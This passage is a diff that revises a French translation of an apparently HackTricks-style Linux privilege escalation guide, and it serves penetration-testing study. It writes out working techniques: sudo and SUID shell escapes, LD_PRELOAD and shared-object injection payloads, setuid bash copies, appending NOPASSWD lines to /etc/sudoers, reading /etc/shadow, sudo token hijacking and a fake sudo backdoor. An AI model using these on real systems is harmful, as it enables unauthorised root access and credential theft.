du PATH écrivable ### $PATH -Si vous constatez que vous pouvez **écrire dans un dossier du $PATH** vous pourriez être capable d'escalader les privilèges en **créant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. +Si vous découvrez que vous pouvez **écrire dans un dossier du $PATH** vous pouvez être capable d'escalader les privilèges en **créant une backdoor dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée à partir d'un dossier situé avant** votre dossier écrivable dans le $PATH. ### SUDO and SUID -Vous pourriez être autorisé à exécuter certaines commandes avec sudo ou celles-ci pourraient avoir le bit suid. Vérifiez-le en utilisant: +Il se peut que vous soyez autorisé à exécuter certaines commandes via sudo ou qu'elles aient le bit suid. Vérifiez-le en utilisant : ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple: +Certaines commandes **inattendues vous permettent de lire et/ou d'écrire des fichiers voire d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +722,31 @@ less>! ``` ### NOPASSWD -La configuration sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. +Dans cet exemple l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution de quelque chose : +Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution d'une commande : ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : +Cet exemple, **based on HTB machine Admirer**, était **vulnérable** à **PYTHONPATH hijacking** permettant de charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo : contournement des chemins d'exécution +### Contournement des chemins pour l'exécution sudo -**Jump** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Accédez** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple, dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,46 +756,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Si un **wildcard** est utilisé (\*), c'est encore plus facile : +Si un **wildcard** est utilisé (\*), c'est encore plus simple : ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Commande sudo/binaire SUID sans chemin de commande -Si l'**autorisation sudo** est accordée pour une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH +Si l'**autorisation sudo** est accordée pour une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_ vous pouvez l'exploiter en changeant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans spécifier son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. +Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binaire avec chemin de commande +### Binaire SUID avec chemin de commande -Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer **d'exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le binaire **suid** **exécute une autre commande en précisant le chemin**, alors vous pouvez essayer de **exporter une fonction** nommée comme la commande que le fichier suid appelle. -Par exemple, si un binaire **suid** appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Puis, lorsque vous appelez le binaire suid, cette fonction sera exécutée +Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (fichiers .so) devant être chargées par le loader avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement de bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le loader avant toutes les autres, y compris la bibliothèque standard C (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour préserver la sécurité du système et empêcher l'exploitation de cette fonctionnalité, notamment avec des exécutables suid/sgid, le système impose certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, notamment avec les exécutables **suid/sgid**, le système impose certaines conditions : -- Le loader ignore **LD_PRELOAD** pour les exécutables dont l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). -- Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standards et qui sont elles-mêmes suid/sgid sont préchargées. +- Le loader ignore **LD_PRELOAD** pour les exécutables dont l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). +- Pour les exécutables suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées. -Une escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, ce qui peut potentiellement mener à l'exécution de code arbitraire avec des privilèges élevés. +L'escalade de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la déclaration **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque les commandes sont exécutées avec `sudo`, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` @@ -821,7 +822,7 @@ Enfin, **escalate privileges** en exécutant sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similaire peut être abusé si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH**, car il contrôle le chemin où les bibliothèques vont être recherchées. +> Un privesc similaire peut être abusé si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. ```c #include #include @@ -841,13 +842,13 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binary – .so injection +### Binaire SUID – .so injection -Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement des fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsqu'on rencontre un binaire avec les permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Par exemple, rencontrer une erreur telle que _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère un potentiel d'exploitation. +Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère un potentiel d'exploitation. Pour exploiter cela, on procéderait en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c @@ -860,13 +861,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. +Ce code, une fois compilé et exécuté, a pour but d'élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci‑dessus en un objet partagé (.so) avec : +Compilez le fichier C ci‑dessus en un shared object (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. +Enfin, lancer le binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. ## Shared Object Hijacking ```bash @@ -878,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvé un binaire SUID qui charge une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : +Maintenant que nous avons trouvé un SUID binary qui charge une library depuis un folder où nous pouvons écrire, créons la library dans ce folder avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -899,9 +900,9 @@ cela signifie que la bibliothèque que vous avez générée doit contenir une fo ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **seulement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner des restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **seulement injecter des arguments** dans une commande. -Le projet recense les fonctions légitimes des binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation. +Le projet recense les fonctions légitimes des binaires Unix qui peuvent être abusées pour sortir de restricted shells, escalader ou maintenir des elevated privileges, transférer des fichiers, spawn bind and reverse shells, et faciliter les autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,55 +921,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Si vous pouvez exécuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. -### Reusing Sudo Tokens +### Réutilisation des tokens sudo -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +Dans les cas où vous avez **sudo access** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le session token**. -Requirements to escalate privileges: +Conditions pour escalader les privilèges : -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du sudo token qui nous permet d'utiliser `sudo` sans mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +- `gdb` est accessible (vous devez pouvoir l'uploader) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant définitivement `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Si toutes ces conditions sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le sudo token dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **appartenant à root avec setuid** +- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les sudo tokens éternels et permet à tous les utilisateurs d'utiliser sudo** +- Le **troisième exploit** (`exploit_v3.sh`) créera un fichier sudoers qui rendra les sudo tokens éternels et permettra à tous les utilisateurs d'utiliser sudo ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec PID 1234, vous pouvez **obtenir les privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant: +Si vous avez des **permissions d'écriture** sur le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Le fichier `/etc/sudoers` et les fichiers dans `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier, vous pourrez **escalader les privilèges**. +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier vous pourriez être capable **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous serez capable de **escalader les privilèges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette autorisation. +Si vous pouvez écrire, vous pouvez abuser de cette permission ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -982,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo`, comme `doas` pour OpenBSD ; pensez à vérifier sa configuration dans `/etc/doas.conf`. +Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un utilisateur se connecte généralement à une machine et utilise `sudo` pour escalader les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez créer un nouvel exécutable sudo qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, modifiez le $PATH du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit lancé. +Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour escalader ses privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit lancé. -Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en exécutant quelque chose comme: +Ou en exécutant quelque chose comme : ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement comme indiqué dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, le programme l'utilisera à cet emplacement comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1058,42 +1058,42 @@ execve(file,argv,0); ``` ## Capacités -Linux capabilities provide a **sous-ensemble des privilèges root disponibles pour un processus**. Cela fragmente effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. Ainsi, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ -Lisez la page suivante pour **en savoir plus sur les capabilities et comment les abuser** : +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela décompose effectivement les privilèges root en **unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Consultez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : {{#ref}} linux-capabilities.md {{#endref}} -## Permissions des répertoires +## Permissions de répertoire -Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut faire un "**cd**" dans le dossier.\ -Le **bit "read"** implique que l'utilisateur peut **lister** les **fichiers**, et le **bit "write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. +Dans un répertoire, le **bit pour "execute"** implique que l'utilisateur concerné peut **"cd"** dans le dossier.\ +Le bit **"read"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité garantit une gestion des accès plus précise**. Pour plus de détails, voir [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les listes de contrôle d'accès (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion des accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Donner** à l'utilisateur "kali" les permissions de lecture et d'écriture sur un fichier : +**Donner** l'utilisateur "kali" les permissions read et write sur un fichier : ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obtenir** les fichiers avec des ACLs spécifiques du système: +**Obtenir** les fichiers ayant des ACLs spécifiques sur le système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Ouvrir des sessions shell -Dans les **anciennes versions** vous pouvez **hijack** une session **shell** d'un autre utilisateur (**root**).\ -Dans les **nouvelles versions** vous pourrez **vous connecter** uniquement aux screen sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** certaines **shell** sessions d'un autre **user** (**root**).\ +Dans les **versions les plus récentes** vous pourrez **connect** aux **screen sessions** uniquement de **votre propre user**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. ### screen sessions hijacking -**Lister les screen sessions** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1108,7 +1108,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -C'était un problème avec **anciennes versions de tmux**. Je n'ai pas pu hijack une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas réussi à détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. **Lister les sessions tmux** ```bash @@ -1128,53 +1128,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **la Valentine box de HTB** pour un exemple. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug se produit lors de la création d'une nouvelle ssh key sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **avec la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **only 32,768 variations were possible**. Cela signifie que toutes les possibilités peuvent être calculées et **having the ssh public key you can search for the corresponding private key**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. Par défaut : `no`. -- **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. Par défaut : `yes`. -- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur permet la connexion aux comptes avec des mots de passe vides. Par défaut : `no`. +- **PasswordAuthentication:** Indique si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. +- **PubkeyAuthentication:** Indique si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, indique si le serveur permet la connexion à des comptes avec des mots de passe vides. La valeur par défaut est `no`. ### PermitRootLogin -Spécifie si root peut se connecter via ssh, par défaut : `no`. Valeurs possibles : +Spécifie si root peut se connecter via ssh, la valeur par défaut est `no`. Valeurs possibles : - `yes`: root peut se connecter en utilisant un mot de passe et une clé privée -- `without-password` or `prohibit-password`: root peut uniquement se connecter avec une clé privée -- `forced-commands-only`: Root ne peut se connecter qu'avec une clé privée et uniquement si des options de commande sont spécifiées +- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une clé privée +- `forced-commands-only`: root peut se connecter uniquement en utilisant une clé privée et si les options de commande sont spécifiées - `no` : non ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la public key de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**" ssh va comparer la public key de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases!) sur votre serveur. Ainsi, vous pourrez **jump** via ssh **to a host** et de là **jump to another** host **using** la **key** située sur votre **initial host**. +SSH agent forwarding vous permet de **utiliser vos SSH keys locales au lieu de laisser des keys** (sans passphrases !) sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **key** située sur votre **hôte initial**. Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*` à chaque fois que l'utilisateur se connecte à une machine différente, cet hôte pourra accéder aux clés (ce qui constitue un problème de sécurité). +Remarquez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui constitue un problème de sécurité). -Le fichier `/etc/ssh_config` peut **override** ces **options** et autoriser ou refuser cette configuration.\ -Le fichier `/etc/sshd_config` peut **allow** ou **deny** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut : allow). +Le fichier `/etc/ssh_config` peut **outrepasser** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** le ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est allow). -Si vous constatez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable d'en abuser pour escalader les privilèges** : +Si vous découvrez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour obtenir une élévation de privilèges** : {{#ref}} @@ -1185,52 +1185,50 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez escalader les privilèges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez obtenir une élévation de privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil inhabituel est trouvé, vérifiez-le pour des **détails sensibles**. +Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **détails sensibles**. -### Fichiers Passwd/Shadow +### Passwd/Shadow Files -Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un autre nom ou il peut exister une sauvegarde. Il est donc recommandé **les trouver tous** et **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers: +Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une copie de sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** afin de voir **s'il y a des 